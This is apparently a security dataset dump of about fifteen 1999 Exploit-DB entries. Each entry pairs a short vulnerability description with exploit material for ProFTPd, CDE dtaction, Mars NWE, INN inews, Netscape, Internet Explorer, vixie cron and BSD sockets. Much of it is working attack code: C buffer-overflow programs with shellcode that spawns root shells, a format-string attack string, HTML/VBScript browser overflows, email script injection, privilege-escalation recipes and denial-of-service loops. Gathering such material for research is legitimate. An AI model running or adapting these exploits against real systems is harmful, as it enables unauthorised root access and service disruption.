QLWD/code_shield huggingface dataset:
标题: ProFTPd 1.2 pre6 - 'snprintf' Remote Root EDB-ID: 19503 CVE: 2000-0824 类型: REMOTE 平台: LINUX 发布日期: 1999-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/650/info

Lack of user input validation in ProFTPD can lead to a remote root vulnerability.

On systems that support it ProFTPD will attempt to modify the name of the program being executed (argv[0]) to display the command being executed by the logged on user. It does this by using snprintf to copy the input of the user into a buffer.

The call to snprintf is in the 'set_proc_title' function in the main.c source file. It is only compiled in if the define PF_ARGV_TYPE equals the PF_ARGV_WRITABLE define.

ProFTPD passes the user input to snprintf as the format argument string of the function call. This allows remote users to supply possible dangerous format arguments to snprintf. 

Tymm Twillman gives the following example:

- ftp to host
- login (anonymous or no)

(this should be all on one line, no spaces)

ftp> ls aaaXXXX%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%653300u%n

(replace the X's with the characters with ascii values 0xdc,0x4f,0x07,0x08
consecutively)


Since proftpd will pass on user input data to snprintf, argument attacks are easy. The a's at the beginning are just for alignment, the %u's to skip bytes in the stack, the %653300u is to increment the # of bytes that have been "output", and the %n stores that value (whose LSBs have now flipped over to 0) to the location pointed to by the current "argument" -- which just happens to point right after the a's in this string. The bytes that replace the X's are the address where proftpd keeps the current user ID...

Logging in as an anonymous user, you are still restricted as to some of the things you can do. But with a local login, root compromise at this point is trivial. And it is possible to modify this exploit for other systems, and for remote attacks. URL: https://www.exploit-db.com/exploits/19503
标题: DIGITAL UNIX 4.0 d/e/f / AIX 4.3.2 / CDE 2.1 / IRIX 6.5.14 / Solaris 7.0 - Local Buffer Overflow EDB-ID: 19497 CVE: 1999-0691 类型: LOCAL 平台: MULTIPLE 发布日期: 1999-09-13 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/635/info

TRU64/DIGITAL UNIX 4.0 d/e/f,AIX <= 4.3.2,Common Desktop Environment <= 2.1,IRIX <= 6.5.14,Solaris <= 7.0 dtaction Userflag Buffer Overflow Vulnerability  

CDE is the Common Desktop Environment, an implementation of a Desktop Manager for systems that run X. It is distributed with various commercial UNIX implementations.

Under some distributions of CDE Common Desktop Environment, the dtaction program has a locally exploitable buffer overflow condition. The buffer overflow condition exists in the argument parsing code for the -u (user) function. Any information provided by the user over 1024 bytes may overwrite the buffer and in return be exploited by a malicious user.

Since the dtaction program is typically installed setuid root, this make it possible for a local user to gain administrative access on a vulnerable system.
*/


/*
* dtaction_ov.c
* Job de Haas
* (c) ITSX bv 1999
*
* This program demonstrates an overflow problem in /usr/dt/bin/dtaction.
* It has only been tested on Solaris 7 x86
* assembly code has been taken from ex_dtprintinfo86.c by unewn4th@usa.net
*
*/

#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <pwd.h>

#define BUFLEN 998

char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id";

main()
{
char *argp[6], *envp[3];
char buf[2048];
unsigned long *p;
struct passwd *pw;
int buflen;

if ((pw = getpwuid(getuid())) == NULL) {
perror("getpwuid");
exit(1);
}

buflen = BUFLEN - strlen( pw->pw_name );

memset(buf,0x90,buflen);

strncpy( &buf[500], exploit_code, strlen(exploit_code));

/* set some pointers to values that keep code running */
p = (unsigned long *)&buf[buflen];
*p++ = 0x37dc779b;
*p++ = 0xdfaf6502;
*p++ = 0x08051230;
*p++ = 0x080479b8;

/* the return address. */
*p++ = 0x08047710;
*p = 0;

argp[0] = strdup("/usr/dt/bin/dtaction");
argp[1] = strdup("-u");
argp[2] = strdup(buf);
argp[3] = strdup("Run");
argp[4] = strdup("/usr/bin/id");
argp[5] = NULL;

if (!getenv("DISPLAY")) {
printf("forgot to set DISPLAY\n");
exit(1);
}

envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1);
strcpy(envp[0],"DISPLAY=");
strcat(envp[0],getenv("DISPLAY"));
envp[1] = NULL;

execve("/usr/dt/bin/dtaction",argp,envp);

} URL: https://www.exploit-db.com/exploits/19497
标题: Netscape Enterprise Server 3.51/3.6 SP2 - Accept Buffer Overflow EDB-ID: 19493 CVE: 1999-0751 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/631/info

Enterprise Server 3.6 SP2 with the SSL Handshake Patch applied is vulnerable to a buffer overflow that may allow attackers to launch denial-of-service attacks and to execute arbitrary commands on the webserver. 

GET / HTTP/1.0
Accept: aaaaaaaaaaaaaa...2000byte/gif URL: https://www.exploit-db.com/exploits/19493
标题: Microsoft Internet Explorer 4.0.1/5 - Import/Export Favorites EDB-ID: 19490 CVE: 1999-0702 类型: REMOTE 平台: WINDOWS 发布日期: 1999-09-10 漏洞利用脚本: Microsoft Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0,Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4 Import/Export Favorites Vulnerability

source: https://www.securityfocus.com/bid/627/info

The ImportExportFavorites() method, used to import and export favorites to/from a file in IE5, can be made to write to any file on the system, in some cases from an email or remote webpage.

This will create a file in the root of C: containing the user's favorites.
<SCRIPT>
window.external.ImportExportFavorites(0,"c:\\fav.hta");
</SCRIPT> URL: https://www.exploit-db.com/exploits/19490
标题: FreeBSD 5.0 / NetBSD 1.4.2 / OpenBSD 2.7 - 'setsockopt()' Denial of Service EDB-ID: 19488 CVE: 2000-0489 类型: DOS 平台: BSD 发布日期: 1999-09-05 漏洞利用脚本: // source: https://www.securityfocus.com/bid/622/info

A denial of service attack exists that affects FreeBSD, NetBSD and OpenBSD, and potentially other operating systems based in some part on BSD. It is believed that all versions of these operating systems are vulnerable. The vulnerability is related to setting socket options regarding the size of the send and receive buffers on a socketpair. By setting them to certain values, and performing a write the size of the value the options have been set to, FreeBSD can be made to panic. NetBSD and OpenBSD do not panic, but network applications will stop responding.

Details behind why this happens have not been made available. 

#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>

#define BUFFERSIZE 204800

extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];

while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
} URL: https://www.exploit-db.com/exploits/19488
标题: Microsoft Internet Explorer 4/5 - ActiveX 'Eyedog' Remote Overflow EDB-ID: 19487 CVE: 1999-0669 类型: REMOTE 平台: WINDOWS 发布日期: 1999-08-21 漏洞利用脚本: Microsoft Internet Explorer 4.0/5.0 for Windows 95/Windows NT 4/Windows 2000/Windows 95/Windows 98 ActiveX "Eyedog" Vulnerability

source: https://www.securityfocus.com/bid/619/info

The Eyedog ActiveX control is marked 'safe for scripting' although it permits registry access and other information gathering methods to be used. It also contains a buffer overflow error. These weaknesses can be exploited remotely via a malicious webpage or email.

With this control, MSInfoLoadFile is the offending method. 
There is no easy way to RET to our code, so instead, I have 
shown how to simply RET to ExitProcess directly. This will 
cause the host to terminate.

<object classid="clsid:06A7EC63-4E21-11D0-A112-00A0C90543AA"
id="eye"></object>

<script language="vbscript"><!--

msgbox("EYEDOG OLE Control module Buffer Overrun (Local 
Version)" + Chr(10) + "Written by Shane Hird")

'Padding for the exploit
expstr 
= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA"

'RET address (ExitProcess, BFF8D4CA)
expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

'Call exploitable method (MSInfoLoadFile)
eye.MSInfoLoadFile(expstr)

--></script> URL: https://www.exploit-db.com/exploits/19487
标题: Microsoft Internet Explorer 5 / Netscape Communicator 4.0/4.5/4.6 - JavaScript STYLE EDB-ID: 19492 CVE: 1999-0750 类型: REMOTE 平台: MULTIPLE 发布日期: 1999-09-13 漏洞利用脚本: Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Netscape Communicator 4.0/4.5/4.6 Javascript STYLE Vulnerability

source: https://www.securityfocus.com/bid/630/info

The HTML STYLE command can be used to embed Javascript into Hotmail email messages. The STYLE tag circumvents current methods employed by Hotmail to disable Javascript from email messages. When viewed by a Microsoft IE 5.0 or Netscape Navigator 4.X browser, the Javascript in the email may execute various commands on the viewer's mailbox. The commands could take various actions on the user's inbox, including: reading email, deleting email, or prompting users to re-enter their password in a trojan application.


The code that must be embeded in a HTML email message is:
For IE 5.0:

&lt;P STYLE="left:expression(eval('alert(\'JavaScript is
executed\');window.close()'))" &gt;

For Netscape Communicator:

&lt;STYLE TYPE="text/javascript"&gt;
alert('JavaScript is executed');
a=window.open(document.links[2]);
setTimeout('alert(\'The first message in your Inbox is from:
\'+a.document.links[26].text)',20000);
&lt;/STYLE&gt; URL: https://www.exploit-db.com/exploits/19492
标题: Martin Stover Mars NWE 0.99 - Local Buffer Overflow EDB-ID: 19485 CVE: 1999-0774 类型: LOCAL 平台: LINUX 发布日期: 1999-08-31 漏洞利用脚本: // source: https://www.securityfocus.com/bid/617/info


There are several buffer overflows in the setuid root components of the Mars Netware Emulator package. They allow for a local root compromise through the overflowing of buffers without bounds checking. It is to be assumed that all versions prior to and including 0.99 are vulnerable to these attacks. 

// get a suid shell :)

#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>

#define BUFSIZE  254
#define NOP  0x90
#define RET  0xbffff3a0
#define ALIGN  1

int makedir(dir)
char *dir;
{

 if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
  return -1;

 if (chdir(dir))
  return -1;

 return 0;
}
 

int main(void)
{
 int i = 0, noplen = 0;
 char pid[10], buf[BUFSIZE], *ptr = NULL;

 char szelkod[] =

  "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d"
  "\x31\xc9\xb1\x88\x80\x36\x01\x46\xe2\xfa\xea\x19\x2e"
  "\x63\x68\x6f\x2e\x62\x69\x6c\x6e\x65\x01\x35\x36\x34"
  "\x34\x01\x2e\x63\x68\x6f\x2e\x72\x69\x01\x88\xf7\x54"
  "\x88\xe4\x82\xed\x19\x56\x57\x52\xe9\x01\x01\x01\x01"
  "\x5a\x80\xc2\xcf\x11\x01\x01\x8c\xba\x0b\xee\xfe\xfe"
  "\x88\x7c\xf1\x8c\x82\x14\xee\xfe\xfe\x88\x44\xf5\x8c"
  "\x92\x1b\xee\xfe\xfe\x88\x54\xf9\xc6\x44\xfd\x01\x01"
  "\x01\x01\xb9\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88"
  "\xf2\xcc\x81\x8c\x44\xf1\x88\xc0\xb9\x0a\x01\x01\x01"
  "\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x8c\x64\xdd\x5a"
  "\x5f\x5e\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91"
  "\x91\x91\x91\x00";

 sprintf(pid, "%d", getpid());

 if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
 {
  perror("mkdir()");
  return -1;
 }

 if (chdir(pid))
 {
  perror("chdir()");
  return -1;
 }

 ptr = buf;
 noplen = BUFSIZE - strlen(szelkod);

 for (i=0;i<noplen;i++)
  *ptr++ = NOP;

 *ptr += noplen;

 for (i=0;i<strlen(szelkod);i++)
  *ptr++ = szelkod[i];

 *ptr = '\0';

 if(makedir(buf) < 0)
 {
  perror("makedir()");
  return -1;
 }

 bzero(buf, BUFSIZE);
 memset(buf, NOP, 40 + ALIGN);

 if(makedir(buf) < 0)
 {
  perror("makedir()");
  return -1;
 }

 bzero(buf, BUFSIZE);

 for(i=0;i<96;i+=4)
  *(long *)&buf[i] = RET;

 for(i=0;i<2;i++)
 {

  if(makedir(buf) < 0)
  {
   perror("makedir()");
   return -1;
  }
 }

 return 0;
} URL: https://www.exploit-db.com/exploits/19485
标题: ISC INN 2.2 / RedHat Linux 6.0 - inews Buffer Overflow EDB-ID: 19480 CVE: 1999-0705 类型: LOCAL 平台: MULTIPLE 发布日期: 1999-09-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/616/info


INN versions 2.2 and earlier have a buffer overflow-related security condition in the inews program.

inews is a program used to inject new postings into the news system. It is used by many news reading programs and scripts. The default installation is with inews setgid to the news group and world executable. It's possible that exploiting the buffer overflow could give the attacker news group privileges, which could possibly be extended to root access. 

/* inews exploit , gives you the inews egid .
* bawd@kitetoa.com
* greetz to nitro,shivan,rfp & Minus :)
*
*
* RET addresses change between RH 5.2 ,6.0 etc..
*
* RH 5.2 RET = 0xbffff6f0
* RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu..
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define BUFFER_SIZE 540
#define RET 0xbffff6f0



main (int argc, char *argv[])
{
FILE *fp;
int offset = 0;
char *buff = NULL;
int i;

u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";



if (argc > 1)
offset = atoi (argv[1]);

buff = malloc (1024);

if (!buff)
{
printf ("malloc isnt working\n");
exit (0);
}

memset (buff, 0x90, BUFFER_SIZE);

for (i = 100; i < BUFFER_SIZE - 4; i += 4)
*(long *) &buff[i] = RET + offset;

memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell));

if ((fp = fopen ("filez", "w")) != NULL)
{
  fprintf (fp, "From: %s\nSubject: y0\nNewsgroups: yaya le chat\n\n\n\n\n", 
buff);
  fclose (fp);
  execl ("/usr/bin/inews", "inews", "-h", "filez", NULL);
  }

else {
     printf ("Couldnt open file : filez\n");
     exit (0);
     }

} URL: https://www.exploit-db.com/exploits/19480
标题: Netscape Communicator 4.06/4.5/4.6/4.51/4.61 - EMBED Buffer Overflow EDB-ID: 19486 CVE: 1999-0685 类型: REMOTE 平台: WINDOWS 发布日期: 1999-09-02 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/618/info

In several versions of Netscape Communicator, there is an unchecked buffer in the code that handles EMBED tags. The buffer is in the 'plugins page' option. This vulnerability can be exploited by a malicious webpage. 
*/

/************************************************************************/
/*Netscape communicator 4.06J - 4.6J, 4.61e Exploit for Windows98*/
/**/
/*written by R00t Zer0(defcon0@ugtop.com)*/
/**/
/*  DEF CON ZERO( http://www.ugtop.com/defcon0/index.htm)*/
/************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>

#defineSTACK_LEN( 2135 )
#defineEMBED_TYPE_LEN( 150 )
#defineXPT_HDL_OFFSET( 588 )
#defineJMPS_OFFSET( 6 )
#defineJMP_EBX_ADDR( 0xbff7a06b )
#defineINT01H_ADDR( 0xbff73d30 )
#defineNOP_CODE( 0x90 )
#defineJMPS_CODE( 0xeb )
#defineFUNCTION"msvcrt.dll.system.exit."
#defineCOMMAND"welcome.exe"
#defineCMDLENP( 65 )


int
main( void )
{
  u_char win98_exec_code[100] = {
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,
0xF7,0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,
0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF8,0x43,0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,
0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,0xFF,0x00 };
  
  u_charexploit_code[ STACK_LEN ];
  u_charembed_type[ EMBED_TYPE_LEN ];
  u_longip;
  intloop;
  
  srand( ( u_int )time( 0 ) );
  
  bzero( exploit_code, sizeof( exploit_code ) );
  for( loop = 0; loop < XPT_HDL_OFFSET; loop++ )
    exploit_code [loop ] = NOP_CODE;
  
  /* make exploit code */
  ip = JMP_EBX_ADDR;
  exploit_code[ XPT_HDL_OFFSET - 4 ] = JMPS_CODE;
  exploit_code[ XPT_HDL_OFFSET - 3 ] = JMPS_OFFSET;
  exploit_code[ XPT_HDL_OFFSET + 3 ] = ( char)( 0xff & ( ip >> 24 ) );
  exploit_code[ XPT_HDL_OFFSET + 2 ] = ( char)( 0xff & ( ip >> 16 ) );
  exploit_code[ XPT_HDL_OFFSET + 1 ] = ( char)( 0xff & ( ip >> 8  ) );
  exploit_code[ XPT_HDL_OFFSET + 0 ] = ( char)( 0xff & ( ip >> 0  ) );
  
  win98_exec_code[ CMDLENP ] = strlen( COMMAND );
  strcat( exploit_code, win98_exec_code );
  strcat( exploit_code, FUNCTION );
  strcat( exploit_code, COMMAND );
  
  
  /* set random type */
  for( loop = 0; loop < EMBED_TYPE_LEN; loop++ )
    embed_type[ loop ] = 0x23 + ( rand() % 93 );
  
  /* print html */
  printf( "Content-type: text/html\n\n" );
  printf( "<HTML>\n" );
  printf( "<HEAD>\n" );
  printf( "<TITLE>Netscape communicator 4.x Exploit!!</TITLE>\n" );
  printf( "</HEAD>\n" );
  printf( "<BODY>\n" );
  
  printf( "<EMBED SRC=\"FreeUNYUN!\" PLUGINSPAGE=\"%s\" ", exploit_code );
  printf( "TYPE=\"%s\" WIDTH=\"1500\" HEIGHT=\"1000\">\n", embed_type  );
  printf( "</EMBED>\n</BODY>\n</HTML>\n" );
  
  return( 0 );
} URL: https://www.exploit-db.com/exploits/19486
标题: TFS Gateway 4.0 - Denial of Service EDB-ID: 19477 CVE: 1999-1515 类型: DOS 平台: HARDWARE 发布日期: 1999-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/613/info

TFS Gateway 4.0, when configured in a specific non-default manner, is vulnerable to a remotely exploitable denial of service attack. If 'return entire message to sender' is enabled for failed send attempts, and an email is sent to the TFS Gateway with 1: the From: address set to an invalid address on a remote machine and 2: an invalid To: address on the target machine, the gateway will attempt to return the complete message once every 10 seconds until an administrator manually stops it. If enough emails of sufficient size of this nature are sent it can lead to a degradation or denial of service.

telnet to Gateway smtp server and enter the following commands:

HELO
MAIL FROM: invalid@remote.com
RCPT TO: invalid@target.com
DATA

.
QUIT URL: https://www.exploit-db.com/exploits/19477
标题: Microsoft Internet Explorer 5 - FTP Password Storage EDB-ID: 19473 CVE: 1999-1235 类型: LOCAL 平台: WINDOWS 发布日期: 1999-08-25 漏洞利用脚本: Microsoft Internet Explorer 5.0 for Windows 2000/Windows NT 4 FTP Password Storage Vulnerability

source: https://www.securityfocus.com/bid/610/info

FTP usernames and passwords for sites accessed via Internet Explorer 5.X are stored (cleartext) in history files stored under \Winnt\Profiles\[Username]\History\History.IE5\index.dat and \Winnt\Profiles\[Username]\History\History.IE5\MSHist<date>..\index.dat. By default, the \Winnt\Profiles\[Username]\History directories are secured with ACLs to allow Full Control for System, the Administrators group, and the given Username. The index.dat files, however, are created with Everyone:Full Control permissions.

Because the "Bypass Traverse Checking" right is assigned by default to the Everyone group, any user with access to the host can read any other user's index.dat files. 

To bypass traverse checking and access another user's index.dat files, reference the absolute filename. For example, to search for all index.dat files belonging to the "administrator" account, issue the following command from a command prompt:

find "//"<\winnt\profiles\administrator\history\history.ie5\index.dat URL: https://www.exploit-db.com/exploits/19473
标题: IBM GINA for NT 1.0 - Local Privilege Escalation EDB-ID: 19472 CVE: 1999-0718 类型: LOCAL 平台: WINDOWS 发布日期: 1999-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/608/info

IBM has written a replacement GINA for Windows NT to allow NT hosts to authenticate against OS/2 domains. On machines running the modified GINA, the creation of a specific Registry key under HKLM\System\CurrentControlSet\Services\IBMNeTNT may allow a user to add any Group to the "Local Administrators" group upon next reboot. ACL permissions over this key allow non-administrators to create the necessary key and value.

Modify the following Registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IBMNeTNT\GroupMapping

to include

Value Name: GroupName (where group name is the name of the group to add the the administrators group)
Data Type: Reg_SZ
String: Administrators

Reboot the host. URL: https://www.exploit-db.com/exploits/19472
标题: Caldera OpenLinux 2.2 / Debian 2.1/2.2 / RedHat 6.0 - Vixie Cron MAILTO Sendmail EDB-ID: 19474 CVE: 1999-0769 类型: LOCAL 平台: LINUX 发布日期: 1999-08-25 漏洞利用脚本: Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux <= 6.0 Vixie Cron MAILTO Sendmail Vulnerability

source: https://www.securityfocus.com/bid/611/info

Failure by the vixie cron daemon from validating the contents of a user supplied environment variable allow a malicious users to pass arbitrary command line arguments to sendmail while running as the root user.

The cron daemon uses the cron_popen function to send email to the user that queue commands for execution by cron. The user can set a MAILTO environment variable before calling cron to have it send the email to a different address. The cron daemon passes the contents of this environment variable to sendmail via the command line while executing as the root user. This allow a local malicious user to obtain root access. 


Set the user's crontab to

MAILTO=" -C/tmp/myexploitsendmail.cf"
* * * * * ls

In /tmp/myexploitsendmail.cf you basically modify the local mailer:

O DefaultUser=root:root
Mlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30,
R=20/40,
T=DNS/RFC822/X-Unix,
A=mail.local -l

i.e. remove the S flag, and set DefaultUser. URL: https://www.exploit-db.com/exploits/19474
标题: Microsoft Internet Explorer 5 - HTML Form Control Denial of Service EDB-ID: 19471 CVE: 1999-1016 类型: DOS 平台: WINDOWS 发布日期: 1999-08-27 漏洞利用脚本: Microsoft Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4 HTML Form Control DoS

source: https://www.securityfocus.com/bid/606/info

Certain Microsoft applications (IE5, Outlook Express 5) are unable to display large HTML form fields within HTML tables. Attempts to view the offending table will cause the application to "hang" and consume 100% CPU resources until the application is closed. 

---{START SOURCE}---

<html>

<head>
<title>NeonBunny's IE5 Crasher</title>
</head>

<body>

<form method="POST">

<table>
<tr>
<td width="20%"><input type="text" name="State" size="99999999"
maxlength="99999999" value=""></td>
</tr>
</table>

</form>
</body>
</html>

---{STOP SOURCE}--- URL: https://www.exploit-db.com/exploits/19471